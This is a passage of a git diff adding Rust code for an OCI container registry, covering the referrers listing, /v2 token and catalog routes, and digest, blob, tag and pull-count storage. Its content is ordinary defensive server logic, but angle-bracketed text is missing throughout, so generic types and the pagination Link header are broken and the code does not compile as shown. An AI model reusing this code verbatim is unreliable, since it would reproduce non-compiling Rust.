while let Some(kv) = it.next().await? { + if String::from_utf8_lossy(&kv.key).ends_with(&suffix) { + doomed.push(kv.key.to_vec()); + } + } + for k in doomed { + db.delete(k).await?; + } + Ok(()) +} + +/// `GET /referrers/{digest}` — an image index of everything pointing at that digest. Empty is a +/// 200 with an empty `manifests`, never a 404 — including when the image itself does not exist, +/// which is also why an unknown image must not fall through to `image_db`: opening a database +/// creates it, and a GET must not conjure an image the caller never pushed. +pub async fn list( + State(app): State>, + Extension(trusted): Extension, + headers: HeaderMap, + Path((owner, name, digest)): Path<(String, String, String)>, + Query(q): Query>, +) -> Response { + if let Err(r) = super::auth::allow(&app, &trusted, &headers, &owner, &name, false).await { + return r; + } + let Some(d) = Digest::parse(&digest) else { + return super::oci_err(StatusCode::BAD_REQUEST, "DIGEST_INVALID", "malformed digest"); + }; + let mut out = vec![]; + match app.store.image_exists(&owner, &name).await { + Ok(true) => { + let db = match app.store.image_db(&owner, &name).await { + Ok(db) => db, + Err(e) => return crate::oci_internal(e), + }; + let mut it = match db.scan_prefix(subject_prefix(&d), ..).await { + Ok(it) => it, + Err(e) => return crate::oci_internal(e.into()), + }; + loop { + match it.next().await { + Ok(Some(kv)) => { + if let Ok(v) = serde_json::from_slice::(&kv.value) { + out.push(v); + } + } + Ok(None) => break, + Err(e) => return crate::oci_internal(e.into()), + } + } + } + Ok(false) => {} + Err(e) => return crate::oci_internal(e), + } + let filter = q.get("artifactType").cloned(); + if let Some(f) = &filter { + out.retain(|v| v.get("artifactType").and_then(|a| a.as_str()) == Some(f.as_str())); + } + let body = serde_json::json!({ + "schemaVersion": 2, + "mediaType": "application/vnd.oci.image.index.v1+json", + "manifests": out, + }); + let mut r = ( + StatusCode::OK, + [(header::CONTENT_TYPE, "application/vnd.oci.image.index.v1+json")], + body.to_string(), + ) + .into_response(); + // Announcing the filter is required: a client must be able to tell a filtered answer from a + // server that ignored the parameter. + if filter.is_some() { + r.headers_mut().insert( + header::HeaderName::from_static("oci-filters-applied"), + "artifactType".parse().unwrap(), + ); + } + r +} diff --git a/crates/registry/src/routes.rs b/crates/registry/src/routes.rs new file mode 100644 index 00000000..5f40ffbf --- /dev/null +++ b/crates/registry/src/routes.rs @@ -0,0 +1,257 @@ +use crate::Trusted; +use crate::App; +use axum::{extract::State, http::{HeaderMap, StatusCode}, response::{IntoResponse, Response}, routing::{get, post, put}, Extension, Router}; +use super::{blobs, manifests, referrers, uploads}; +use std::sync::Arc; + +/// The images an owner has pushed: the sub-prefixes under their `repo/img/{owner}/` object-store +/// prefix. A listing rather than a maintained index, because a maintained index is state that can +/// disagree with what was actually pushed — this cannot. Shared by `_catalog` and (Task 11) the +/// web page, so there is exactly one place that knows the layout of that prefix. +pub async fn image_names(app: &App, owner: &str) -> crate::Result> { + super::list_dir_names(&app.store.os, &format!("repo/img/{owner}/")).await +} + +/// An owner's images for listing: the index markers, unioned with the object-store directory +/// listing for any image pushed before the backfill ran (no marker yet). Both sides are plain +/// object-store reads — same any-node safety as `image_names` — so this stays callable from a +/// handler that cannot route to a specific image's database. +/// +/// `include_private` is passed straight through to `index::list`: callers must never pass `true` +/// for an unauthenticated caller, exactly as that function documents. +pub async fn image_listing(app: &App, owner: &str, include_private: bool) -> crate::Result> { + let mut markers = crate::index::list(&app.store.os, crate::index::Kind::Img, owner, include_private).await?; + let marked: std::collections::HashSet = markers.iter().map(|m| m.name.clone()).collect(); + // An unmarked (pre-backfill) image has no visibility record, so it defaults private just like + // a freshly-pushed one — an unauthenticated caller must never see it, exactly as `index::list` + // already withholds a marked-private name from that caller. + let unmarked: Vec = if include_private { + // ponytail: fallback dies with the backfill + image_names(app, owner).await?.into_iter().filter(|n| !marked.contains(n)).collect() + } else { + Vec::new() + }; + // One listing per image, fanned out — a serial loop here put the whole catalog page behind + // N sequential round trips. + let stats = futures::future::join_all(unmarked.iter().map(|n| super::store::manifest_stat(&app.store, owner, n))).await; + for (name, stat) in unmarked.into_iter().zip(stats) { + let (count, newest) = stat.unwrap_or((0, None)); + markers.push(crate::index::Marker { + name, + public: false, + created_by: String::new(), + created_ms: 0, + description: String::new(), + manifests: count as u64, + updated_ms: newest.unwrap_or(0), + }); + } + markers.sort_by(|a, b| a.name.cmp(&b.name)); + Ok(markers) +} + +/// `GET /v2/` — the version check every client makes before anything else. It carries no image, so +/// it is answered by whichever node receives it. +async fn v2_root(State(app): State>, Extension(trusted): Extension, headers: HeaderMap) -> Response { + match super::auth::caller(&app, &trusted, &headers).await { + Ok(Some(_)) => ( + StatusCode::OK, + [("docker-distribution-api-version", "registry/2.0")], + "{}", + ).into_response(), + Ok(None) => with_version(super::auth::challenge(None)), + Err(r) => with_version(r), + } +} + +fn with_version(mut r: Response) -> Response { + r.headers_mut().insert("docker-distribution-api-version", "registry/2.0".parse().unwrap()); + r +} + +/// How long a registry bearer lives. Long enough for a large push to finish on a slow link, short +/// enough that a leaked one is not a standing credential. +const TOKEN_TTL: u64 = 15 * 60; + +/// Every `scope` in the query, joined by spaces. +/// +/// A client may send `scope` MORE THAN ONCE — docker asks for `pull` and `pull,push` as two +/// parameters — and a struct with one `scope: String` makes serde reject the whole query as a +/// duplicate field, which axum turns into a 400 before the handler ever runs. The token records +/// scope without enforcing it (authorization is re-checked per request), so collecting them is +/// enough; the space-separated form is what the spec's token response carries back. +fn scopes(raw: Option<&str>) -> String { + let Some(raw) = raw else { return String::new() }; + let mut out: Vec = vec![]; + for (k, v) in form_urlencoded::parse(raw.as_bytes()) { + if k == "scope" && !v.is_empty() && !out.iter().any(|s| s == v.as_ref()) { + out.push(v.into_owned()); + } + } + out.join(" ") +} + +/// `GET /v2/token` — exchange a long-lived credential for a short-lived bearer. +async fn token( + State(app): State>, + Extension(trusted): Extension, + headers: HeaderMap, + axum::extract::RawQuery(raw): axum::extract::RawQuery, +) -> Response { + let scope = scopes(raw.as_deref()); + let who = match super::auth::caller(&app, &trusted, &headers).await { + Ok(Some(o)) => o, + // Anonymous is allowed to ask, and gets a token for nobody: it can still pull public + // images. Refusing here would break anonymous pull for spec-following clients, which + // always visit the token endpoint before the pull. + Ok(None) => String::new(), + Err(r) => return r, + }; + let jwt = match app.jwt.mint_registry(&who, &scope, TOKEN_TTL) { + Ok(t) => t, + Err(e) => return crate::oci_internal(e), + }; + // RFC 3339, not a Unix integer: the field is a `time.Time` in docker's token response, so a + // number here fails its JSON decode with "input is not a JSON string" AFTER the token was + // successfully minted — an error that reads like an auth failure but is a formatting one. + let issued = chrono::Utc::now().to_rfc3339_opts(chrono::SecondsFormat::Secs, true); + axum::Json(serde_json::json!({ + "token": jwt, + "access_token": jwt, + "expires_in": TOKEN_TTL, + "issued_at": issued, + // Echoed so a client can see WHICH scopes were granted when it asked for several. It is + // recorded, not enforced: authorization is re-checked per request against the image. + "scope": scope, + })) + .into_response() +} + +/// `GET /v2/_catalog?n=&last=` — the caller's own images. Scoped to the caller's owner: there is +/// no cross-team catalog, because there is no cross-team read. +async fn catalog( + State(app): State>, + Extension(trusted): Extension, + headers: HeaderMap, + axum::extract::Query(q): axum::extract::Query>, +) -> Response { + let who = match super::auth::caller(&app, &trusted, &headers).await { + Ok(Some(w)) => w, + Ok(None) => return super::auth::challenge(None), + Err(r) => return r, + }; + // Owner-scoped and already authenticated as `who` above, so `include_private: true` is safe — + // same source `images` uses (`image_listing`), just re-shaped into repository names. + let markers = match image_listing(&app, &who, true).await { + Ok(m) => m, + Err(e) => return crate::oci_internal(e), + }; + let all: Vec = markers.into_iter().map(|m| format!("{who}/{}", m.name)).collect(); + let (page, truncated) = super::paginate(&all, &q); + let mut r = axum::Json(serde_json::json!({"repositories": page})).into_response(); + if let Some(last) = truncated { + let n = q.get("n").cloned().unwrap_or_default(); + r.headers_mut().insert( + axum::http::header::LINK, + format!("; rel=\"next\"").parse().unwrap(), + ); + } + r +} + +pub fn v2_routes() -> Router> { + // Blob routes get their own body cap, `max_layer()`, not the git-sized `max_body()` from + // `http.rs`: a layer push and a git push are different sizes of thing and must not share one + // knob. The handlers take the raw `Body` (they stream), and axum's `DefaultBodyLimit` does + // NOT apply to that extractor — so the cap that actually holds is `uploads::pour`'s own + // count. This layer stays for the day a `Bytes` extractor sneaks back onto one of these + // routes: it would then be capped at the right number instead of axum's 2 MB default. + let blob_routes = Router::new() + .route( + "/v2/{owner}/{name}/blobs/{digest}", + get(blobs::get_blob).head(blobs::head_blob).delete(blobs::delete_blob), + ) + .route("/v2/{owner}/{name}/blobs/uploads/", post(blobs::start_upload)) + // Real clients send both forms, and without a trailing slash the path has the same + // segment count as `.../blobs/{digest}` — matchit would otherwise route it there and + // answer a confusing DIGEST_INVALID for a "digest" of literally "uploads". Registered + // explicitly rather than relying on route-registration order to break the tie. + .route("/v2/{owner}/{name}/blobs/uploads", post(blobs::start_upload)) + .route( + "/v2/{owner}/{name}/blobs/uploads/{uuid}", + put(blobs::finish_upload).patch(uploads::patch).get(uploads::status).delete(uploads::cancel), + ) + .layer(axum::extract::DefaultBodyLimit::max(blobs::max_layer() as usize)); + + Router::new() + .route("/v2/", get(v2_root)) + .route("/v2", get(v2_root)) + .route("/v2/token", get(token)) + .route("/v2/_catalog", get(catalog)) + .merge(blob_routes) + .merge( + // Same reasoning as `blob_routes` above: axum's `DefaultBodyLimit` enforces BEFORE + // the handler runs, so without an explicit cap here the 2 MB default would 413 a + // legal ~3.9 MB manifest before `put_manifest`'s own `MAX_MANIFEST` check ever sees + // it. Sized off `manifests::MAX_MANIFEST` so the two limits can't drift apart — the + // layer is the enforcement, the handler check is the second line of defence. + Router::new() + .route( + "/v2/{owner}/{name}/manifests/{reference}", + get(manifests::get_manifest) + .head(manifests::head_manifest) + .put(manifests::put_manifest) + .delete(manifests::delete_manifest), + ) + .layer(axum::extract::DefaultBodyLimit::max(manifests::MAX_MANIFEST)), + ) + .route("/v2/{owner}/{name}/tags/list", get(manifests::tags_list)) + .route("/v2/{owner}/{name}/referrers/{digest}", get(referrers::list)) +} + +/// The three outcomes of presenting a Bearer token, which `Option` cannot tell apart: +/// a forged/expired/foreign token must be refused, but our own anonymous token must NOT be — +/// it is the token a spec-following client gets from `/v2/token` before an anonymous public pull. +pub enum RegistryToken { + /// Ours, and names an owner. + Owner(String), + /// Ours, minted for the anonymous caller: verified, but authenticates nobody. + Anonymous, + /// Not ours, expired, or malformed — a refusal, not anonymity. + Invalid, +} + +/// Verifies a token minted by `/v2/token`. See `RegistryToken` for why this can't be `Option`. +pub fn verify_registry_token(jwt_keys: &crate::jwt::Jwt, jwt: &str) -> RegistryToken { + match jwt_keys.verify_registry(jwt) { + Some(owner) if !owner.is_empty() => RegistryToken::Owner(owner), + Some(_) => RegistryToken::Anonymous, + None => RegistryToken::Invalid, + } +} + +#[cfg(test)] +mod tests { + use super::*; + + fn jwt() -> crate::jwt::Jwt { + crate::jwt::Jwt::new("0123456789012345678901234567890123456789").unwrap() + } + + /// The defect this fixes: an anonymous-issued token must NOT collapse into the same outcome + /// as a forged one, or a spec-following client's anonymous pull gets refused instead of + /// allowed through as anonymous. + #[test] + fn an_anonymous_token_and_a_forged_token_produce_different_outcomes() { + let j = jwt(); + let anon = j.mint_registry("", "repository:acme/nginx:pull", 900).unwrap(); + let owned = j.mint_registry("acme", "repository:acme/nginx:pull,push", 900).unwrap(); + + assert!(matches!(verify_registry_token(&j, &anon), RegistryToken::Anonymous)); + assert!(matches!(verify_registry_token(&j, "not.a.jwt"), RegistryToken::Invalid)); + match verify_registry_token(&j, &owned) { + RegistryToken::Owner(o) => assert_eq!(o, "acme"), + _ => panic!("expected Owner"), + } + } +} diff --git a/crates/registry/src/store.rs b/crates/registry/src/store.rs new file mode 100644 index 00000000..56477e0f --- /dev/null +++ b/crates/registry/src/store.rs @@ -0,0 +1,646 @@ +//! Where an image's bytes and metadata live. +//! +//! Blobs are per-owner (`blobs/{owner}/sha256/{hex}`): a team that pushes twenty images off one +//! base layer stores it once, and the garbage collector only ever has to read one team's images to +//! know what is unreferenced. Manifest BYTES are objects; the tag map is not — tags live in the +//! image's database, where the single-writer guarantee makes two pushes to `:latest` order against +//! each other instead of racing in the object store. +use crate::dbstore::Store; +use crate::Result; +use slatedb::object_store::path::Path as OsPath; +use slatedb::object_store::ObjectStoreExt; +use slatedb::Db; +use std::sync::Arc; + +/// A content digest, as it appears on the wire. +/// +/// Parsing is the ONLY way a path segment becomes part of an object key, so it is strict on +/// purpose: lowercase hex, algorithm `sha256` (64 hex) or `sha512` (128 hex) — the two the OCI +/// spec requires a conformant registry to accept. Anything else — an upper-case digest, a `..`, a +/// second colon, an unsupported algorithm — is not a digest and never reaches the object store. +#[derive(Clone, Debug, PartialEq, Eq)] +pub struct Digest { + pub algo: String, + pub hex: String, +} + +impl Digest { + pub fn parse(s: &str) -> Option { + let (algo, hex) = s.split_once(':')?; + let want_len = match algo { + "sha256" => 64, + "sha512" => 128, + _ => return None, + }; + if hex.len() != want_len { + return None; + } + if !hex.bytes().all(|b| b.is_ascii_digit() || (b'a'..=b'f').contains(&b)) { + return None; + } + Some(Digest { algo: algo.to_string(), hex: hex.to_string() }) + } + + /// sha256 of `bytes`, for content this code digests itself (manifests keyed by digest, etc.) — + /// there the algorithm is our choice, not a claim from the client. + pub fn of(bytes: &[u8]) -> Digest { + Self::of_algo("sha256", bytes).expect("sha256 is always supported") + } + + /// Hash `bytes` with whatever algorithm the CLIENT claimed, so a push can be verified against + /// the digest it was pushed under instead of always assuming sha256. `algo` is untrusted input + /// here too — anything but the two `parse` accepts returns `None` rather than silently picking + /// a hash. + pub fn of_algo(algo: &str, bytes: &[u8]) -> Option { + let mut h = Hasher::new(algo)?; + h.update(bytes); + Some(h.finish()) + } +} + +/// The same two algorithms as `Digest::of_algo`, fed incrementally — so a layer can be verified +/// while it streams past instead of being buffered whole to be hashed at the end. +pub enum Hasher { + S256(sha2::Sha256), + S512(sha2::Sha512), +} + +impl Hasher { + /// `algo` is untrusted client input, so an unknown one is `None` rather than a default hash. + pub fn new(algo: &str) -> Option { + use sha2::Digest as _; + match algo { + "sha256" => Some(Hasher::S256(sha2::Sha256::new())), + "sha512" => Some(Hasher::S512(sha2::Sha512::new())), + _ => None, + } + } + + pub fn update(&mut self, bytes: &[u8]) { + use sha2::Digest as _; + match self { + Hasher::S256(h) => h.update(bytes), + Hasher::S512(h) => h.update(bytes), + } + } + + pub fn finish(self) -> Digest { + use sha2::Digest as _; + let (algo, hex) = match self { + Hasher::S256(h) => ("sha256", crate::hex(&h.finalize())), + Hasher::S512(h) => ("sha512", crate::hex(&h.finalize())), + }; + Digest { algo: algo.into(), hex } + } +} + +#[cfg(test)] +mod hasher_tests { + use super::{Digest, Hasher}; + + /// Incremental must agree with one-shot, on both algorithms and across chunk boundaries. + #[test] + fn incremental_matches_one_shot() { + for algo in ["sha256", "sha512"] { + let mut h = Hasher::new(algo).unwrap(); + h.update(b"abc"); + h.update(b"def"); + assert_eq!(h.finish(), Digest::of_algo(algo, b"abcdef").unwrap()); + } + assert!(Hasher::new("md5").is_none()); + } +} + +impl std::fmt::Display for Digest { + fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { + write!(f, "{}:{}", self.algo, self.hex) + } +} + +pub fn blob_path(owner: &str, d: &Digest) -> OsPath { + OsPath::from(format!("blobs/{owner}/{}/{}", d.algo, d.hex)) +} + +pub fn manifest_path(owner: &str, name: &str, d: &Digest) -> OsPath { + OsPath::from(format!("manifests/{owner}/{name}/{}/{}", d.algo, d.hex)) +} + +/// How many manifests an image has, and when the newest was written. +/// +/// Both come from one listing, because both are wanted together and a second pass would be a +/// second round trip per image on a page that lists them all. The timestamp is the object store's, +/// not a field anything maintains: nothing writes a "pushed at", and an object's own mtime cannot +/// disagree with what was actually pushed. +pub async fn manifest_stat(store: &Store, owner: &str, name: &str) -> Result<(usize, Option)> { + use slatedb::object_store::ObjectStore; + let prefix = OsPath::from(format!("manifests/{owner}/{name}")); + let mut listing = store.os.list(Some(&prefix)); + let (mut n, mut newest) = (0usize, None::); + while let Some(m) = futures::StreamExt::next(&mut listing).await { + let m = m?; + n += 1; + let ms = m.last_modified.timestamp_millis(); + if newest.is_none_or(|cur| ms > cur) { + newest = Some(ms); + } + } + Ok((n, newest)) +} + +/// `image/blob/{digest}/{via}`: this image legitimately holds `digest`. `via` is the digest of +/// the manifest that names it, or `upload` when the blob was pushed or mounted into this image +/// directly. Blob BYTES are per owner and shared between siblings, so this row is the only thing +/// that scopes a pull to an image — without it, one public image served every private sibling's +/// layers to anyone who knew a digest. Owners are never gated on it; strangers always are. +const BLOB_PREFIX: &str = "image/blob/"; +const BLOB_ROWS_BACKFILLED: &[u8] = b"image/blob-rows"; +const BLOB_VIA_UPLOAD: &str = "upload"; + +fn blob_key(d: &Digest, via: &str) -> Vec { + format!("{BLOB_PREFIX}{d}/{via}").into_bytes() +} + +/// Record every digest `via` (a manifest digest) names. Idempotent, so a re-push rewrites the +/// same rows. +pub async fn note_blobs<'a>(db: &Db, digests: impl IntoIterator, via: &str) -> Result<()> { + for d in digests { + db.put(blob_key(d, via), b"1".as_slice()).await?; + } + Ok(()) +} + +/// A blob pushed or mounted straight into this image: `touch_image` plus the row, on one handle. +pub async fn hold_blob(store: &Store, owner: &str, name: &str, d: &Digest) -> Result<()> { + let db = store.image_db(owner, name).await?; + db.put(IMAGE_KEY, b"1".as_slice()).await?; + db.put(blob_key(d, BLOB_VIA_UPLOAD), b"1".as_slice()).await?; + Ok(()) +} + +/// Drop the rows manifest `m` contributed. A scan of the whole prefix rather than a re-parse of +/// the manifest being deleted: this is the rare path, and it must work even when the manifest +/// bytes are already gone. Rows written `via` another manifest, or by an upload, stay. +pub async fn forget_manifest_blobs(db: &Db, m: &Digest) -> Result<()> { + let suffix = format!("/{m}"); + let mut it = db.scan_prefix(BLOB_PREFIX, ..).await?; + let mut doomed = vec![]; + while let Some(kv) = it.next().await? { + if String::from_utf8_lossy(&kv.key).ends_with(&suffix) { + doomed.push(kv.key.to_vec()); + } + } + for k in doomed { + db.delete(k).await?; + } + Ok(()) +} + +async fn has_blob_row(db: &Db, d: &Digest) -> Result { + let mut it = db.scan_prefix(format!("{BLOB_PREFIX}{d}/"), ..).await?; + Ok(it.next().await?.is_some()) +} + +/// Does this image hold `d`? Runs on the owning node (the only place the image's database may be +/// opened), which is also why the backfill lives here and not in the worker's reconcile. +/// +/// ponytail: images pushed before these rows existed have none, so the first stranger's pull of +/// such an image walks its manifests once and writes the rows they imply (`BLOB_ROWS_BACKFILLED` +/// marks it done). Upload-only blobs of those images cannot be recovered and read as not held — +/// the safe direction. Delete the backfill branch once every image DB carries the mark, i.e. +/// after every pre-existing image has been pulled by a stranger or re-pushed. +pub async fn image_holds_blob(store: &Store, owner: &str, name: &str, d: &Digest) -> Result { + let db = store.image_db(owner, name).await?; + if has_blob_row(&db, d).await? { + return Ok(true); + } + if db.get(BLOB_ROWS_BACKFILLED).await?.is_some() { + return Ok(false); + } + use slatedb::object_store::ObjectStore; + let prefix = OsPath::from(format!("manifests/{owner}/{name}")); + let mut listing = store.os.list(Some(&prefix)); + while let Some(m) = futures::StreamExt::next(&mut listing).await { + let loc = m?.location; + let Some(via) = crate::gc::digest_from_path(&loc) else { continue }; + let bytes = store.os.get(&loc).await?.bytes().await?; + // Unparseable bytes name nothing: under-granting is the safe failure for authorization, + // unlike the sweep where the same manifest must abort. + let Ok(v) = serde_json::from_slice::(&bytes) else { + tracing::warn!(owner = %owner, name = %name, manifest = %loc, "blob rows: skipping unparseable manifest"); + continue; + }; + let mut named = std::collections::HashSet::new(); + crate::gc::collect(&v, &mut named); + let digests: Vec = named.iter().filter_map(|s| Digest::parse(s)).collect(); + note_blobs(&db, &digests, &via).await?; + } + db.put(BLOB_ROWS_BACKFILLED, b"1".as_slice()).await?; + has_blob_row(&db, d).await +} + +/// `(count, newest_ms)` for the image's manifests, kept in the image's own single-writer database +/// so a push does not have to LIST a prefix that only ever grows. Absent until the first push +/// after this shipped, which is what `manifest_stat_fast` falls back over — no migration. +const MANIFEST_COUNT_KEY: &[u8] = b"image/manifests/count"; +const MANIFEST_NEWEST_KEY: &[u8] = b"image/manifests/newest_ms"; + +const IMAGE_KEY: &[u8] = b"image"; +const PUBLIC_KEY: &[u8] = b"image/public"; +const TAG_PREFIX: &str = "image/tag/"; +fn tag_key(tag: &str) -> Vec { + format!("{TAG_PREFIX}{tag}").into_bytes() +} + +#[allow(async_fn_in_trait)] +/// `Store`'s image-registry methods, as an extension trait rather than an inherent `impl +/// Store`: `Store` now lives in the `storage` crate, and Rust's orphan rule forbids an +/// inherent impl on a foreign type. These stay in this crate (not `storage`) because +/// they need `registry::pool_coords`, a reserved-owner-name/routing concept that belongs to +/// this crate's registry namespace, not to generic storage. Import this trait wherever an +/// `image_*`/`tag*`/`pulls`/`delete_image*` method is called on a `Store`. +pub trait ImageExt { + async fn image_db(&self, owner: &str, name: &str) -> Result>; + async fn image_exists(&self, owner: &str, name: &str) -> Result; + async fn touch_image(&self, owner: &str, name: &str) -> Result<()>; + async fn put_tag(&self, owner: &str, name: &str, tag: &str, d: &Digest) -> Result<()>; + async fn tag(&self, owner: &str, name: &str, tag: &str) -> Result>; + async fn delete_tag(&self, owner: &str, name: &str, tag: &str) -> Result<()>; + async fn tags(&self, owner: &str, name: &str) -> Result>; + async fn tags_pointing_at(&self, owner: &str, name: &str, d: &Digest) -> Result>; + fn bump_pulls(&self, owner: &str, name: &str, tag: &str); + async fn flush_pulls(&self) -> Result<()>; + async fn pulls(&self, owner: &str, name: &str, tag: &str) -> Result; + async fn image_is_public(&self, owner: &str, name: &str) -> Result; + async fn manifest_stat_fast(&self, owner: &str, name: &str) -> Result<(usize, Option)>; + async fn note_manifest_put(&self, owner: &str, name: &str, existed: bool) -> Result<()>; + async fn note_manifest_deleted(&self, owner: &str, name: &str) -> Result<()>; + async fn refresh_image_marker(&self, owner: &str, name: &str) -> Result<()>; + async fn set_image_visibility(&self, owner: &str, name: &str, public: bool) -> Result<()>; + async fn delete_image_rows(&self, owner: &str, name: &str) -> Result<()>; + async fn delete_image(&self, owner: &str, name: &str) -> Result<()>; +} + +impl ImageExt for Store { + + /// The image's database. Opening one CREATES it, so callers that merely probe must go through + /// `image_exists` — the same rule `db_for`/`repo_exists` follow for repos. + async fn image_db(&self, owner: &str, name: &str) -> Result> { + let (o, n) = crate::pool_coords(owner, name); + self.pool.get(o, &n).await + } + + async fn image_exists(&self, owner: &str, name: &str) -> Result { + let (o, n) = crate::pool_coords(owner, name); + if !self.pool.exists(o, &n).await? { + return Ok(false); + } + Ok(self.image_db(owner, name).await?.get(IMAGE_KEY).await?.is_some()) + } + + /// Marks the image as existing. Registries create on first write, so every write path calls + /// this rather than there being a create endpoint. Marking existence and setting visibility + /// are two different writes — later tasks must call this, never `set_image_visibility`, to + /// record that an image exists. + async fn touch_image(&self, owner: &str, name: &str) -> Result<()> { + self.image_db(owner, name).await?.put(IMAGE_KEY, b"1".as_slice()).await?; + Ok(()) + } + + async fn put_tag(&self, owner: &str, name: &str, tag: &str, d: &Digest) -> Result<()> { + // One handle for both puts: `touch_image` would resolve the pool entry a second time on + // the hottest write path for no gain. + let db = self.image_db(owner, name).await?; + db.put(IMAGE_KEY, b"1".as_slice()).await?; + db.put(tag_key(tag), d.to_string().into_bytes()).await?; + Ok(()) + } + + async fn tag(&self, owner: &str, name: &str, tag: &str) -> Result> { + // `pool.exists`, not `image_exists`: the probe only has to keep `image_db` from CREATING + // a database for an image nobody pushed. A missing tag row already answers `None`, so the + // extra IMAGE_KEY read `image_exists` adds proves nothing here — and this runs on every + // pull. + let (o, n) = crate::pool_coords(owner, name); + if !self.pool.exists(o, &n).await? { + return Ok(None); + } + let v = self.image_db(owner, name).await?.get(tag_key(tag)).await?; + Ok(v.and_then(|v| Digest::parse(&String::from_utf8_lossy(&v)))) + } + + async fn delete_tag(&self, owner: &str, name: &str, tag: &str) -> Result<()> { + self.image_db(owner, name).await?.delete(tag_key(tag)).await?; + Ok(()) + } + + async fn tags(&self, owner: &str, name: &str) -> Result> { + let (o, n) = crate::pool_coords(owner, name); + if !self.pool.exists(o, &n).await? { + return Ok(vec![]); + } + let db = self.image_db(owner, name).await?; + let mut it = db.scan_prefix(TAG_PREFIX, ..).await?; + let mut out = vec![]; + while let Some(kv) = it.next().await? { + if let Ok(k) = std::str::from_utf8(&kv.key) { + if let Some(t) = k.strip_prefix(TAG_PREFIX) { + out.push(t.to_string()); + } + } + } + // Sorted lexically, which is the order the spec requires `tags/list` to return — free + // here: `scan_prefix` yields ascending byte order and the tag grammar is ASCII, where + // byte order and lexical order agree. + Ok(out) + } + + /// The tags resolving to `d`, from ONE scan — the delete-by-digest path was re-reading every + /// tag row individually (list, then a get per tag) to learn what this reads in a single pass. + async fn tags_pointing_at(&self, owner: &str, name: &str, d: &Digest) -> Result> { + let (o, n) = crate::pool_coords(owner, name); + if !self.pool.exists(o, &n).await? { + return Ok(vec![]); + } + let db = self.image_db(owner, name).await?; + let want = d.to_string(); + let mut it = db.scan_prefix(TAG_PREFIX, ..).await?; + let mut out = vec![]; + while let Some(kv) = it.next().await? { + if String::from_utf8_lossy(&kv.value) == want { + if let Some(t) = std::str::from_utf8(&kv.key).ok().and_then(|k| k.strip_prefix(TAG_PREFIX)) { + out.push(t.to_string()); + } + } + } + Ok(out) + } + + /// One more pull of `tag`. A pull is a manifest GET by tag — the request docker makes exactly + /// once per `docker pull` — counted on the node that owns the image, so there is one writer + /// and the count cannot race. GETs by digest are deliberately uncounted: docker re-reads by + /// digest after resolving the tag, and counting both would double every pull. + /// + /// Nothing but a map increment happens here: the write is `flush_pulls`'s, off the request + /// path (see `Store::pending_pulls` for why). + fn bump_pulls(&self, owner: &str, name: &str, tag: &str) { + let mut m = self.pending_pulls.lock().unwrap_or_else(|p| p.into_inner()); + *m.entry(format!("{owner}/{name}/{tag}")).or_insert(0) += 1; + } + + /// Fold `pending_pulls` into each image's database. Runs on the owning node's lane, like every + /// other write. An image this node no longer holds warm has moved (or gone idle — a 5 min TTL + /// against a 30 s flush, so a moved one in practice) and its pending count is dropped rather + /// than reopening a database another node now owns. The put is not awaited durable: the count + /// is display only, and the pool's own periodic flush carries it. + async fn flush_pulls(&self) -> Result<()> { + let pending = + std::mem::take(&mut *self.pending_pulls.lock().unwrap_or_else(|p| p.into_inner())); + if pending.is_empty() { + return Ok(()); + } + let warm = self.pool.warm_repos(); + for (k, add) in pending { + let mut parts = k.splitn(3, '/'); + let (Some(owner), Some(name), Some(tag)) = (parts.next(), parts.next(), parts.next()) + else { + continue; + }; + if !warm.iter().any(|w| w == &format!("img/{owner}/{name}")) { + continue; + } + // Two flushes may overlap (the lane and an explicit call); the read-add-write must + // still not lose an increment. + let lock = self.keyed_lock(&format!("pulls/{owner}/{name}/{tag}")); + let _guard = lock.lock().await; + let db = self.image_db(owner, name).await?; + let key = format!("image/pulls/{tag}").into_bytes(); + let n: u64 = db + .get(key.clone()) + .await? + .and_then(|v| String::from_utf8_lossy(&v).parse().ok()) + .unwrap_or(0); + db.put_with_options( + key, + (n + add).to_string().into_bytes(), + &slatedb::config::PutOptions::default(), + &slatedb::config::WriteOptions { await_durable: false, ..Default::default() }, + ) + .await?; + } + Ok(()) + } + + /// Stored plus not-yet-flushed, so a pull shows in the listing at once even though the + /// database learns of it later. + async fn pulls(&self, owner: &str, name: &str, tag: &str) -> Result { + let v = self.image_db(owner, name).await?.get(format!("image/pulls/{tag}").into_bytes()).await?; + let stored: u64 = v.and_then(|v| String::from_utf8_lossy(&v).parse().ok()).unwrap_or(0); + let pending = self + .pending_pulls + .lock() + .unwrap_or_else(|p| p.into_inner()) + .get(&format!("{owner}/{name}/{tag}")) + .copied() + .unwrap_or(0); + Ok(stored + pending) + } + + async fn image_is_public(&self, owner: &str, name: &str) -> Result { + let (o, n) = crate::pool_coords(owner, name); + if !self.pool.exists(o, &n).await? { + return Ok(false); + } + Ok(self.image_db(owner, name).await?.get(PUBLIC_KEY).await?.as_deref() == Some(b"1")) + } + + /// `manifest_stat` for a caller that has the image's database open. + /// + /// The listing LIST is O(manifests) against a prefix that only ever grows, and it ran on every + /// manifest push via `refresh_image_marker` — so a multi-arch push was N+1 full listings. Both + /// numbers live in the image's own single-writer database instead, which is what makes keeping + /// them safe: nothing else can be writing manifests for this image. The LIST stays as the + /// fallback for an image pushed before the counters existed (the next push seeds them) and as + /// the ONLY answer for the GC reconcile, which is the one reader with no writer's database. + async fn manifest_stat_fast(&self, owner: &str, name: &str) -> Result<(usize, Option)> { + let (o, n) = crate::pool_coords(owner, name); + if !self.pool.exists(o, &n).await? { + return Ok((0, None)); + } + let db = self.image_db(owner, name).await?; + let count = db + .get(MANIFEST_COUNT_KEY) + .await? + .and_then(|v| String::from_utf8_lossy(&v).parse::().ok()); + let Some(count) = count else { + return manifest_stat(self, owner, name).await; + }; + let newest = db + .get(MANIFEST_NEWEST_KEY) + .await? + .and_then(|v| String::from_utf8_lossy(&v).parse::().ok()); + Ok((count, newest)) + } + + /// Record a manifest object landing. `existed` is whether that exact digest was already stored + /// — a re-push of the same manifest overwrites one object and must not raise the count. + /// + /// Seeds from the LIST when the counters are absent, which is the one place the migration + /// happens: the object is already written by the time this runs, so the listing counts it. + async fn note_manifest_put(&self, owner: &str, name: &str, existed: bool) -> Result<()> { + let db = self.image_db(owner, name).await?; + let now = crate::ownership::now_ms() as i64; + let count = match db.get(MANIFEST_COUNT_KEY).await? { + Some(v) => { + let n: usize = String::from_utf8_lossy(&v).parse().unwrap_or(0); + n + usize::from(!existed) + } + None => manifest_stat(self, owner, name).await?.0, + }; + db.put(MANIFEST_COUNT_KEY, count.to_string().into_bytes()).await?; + 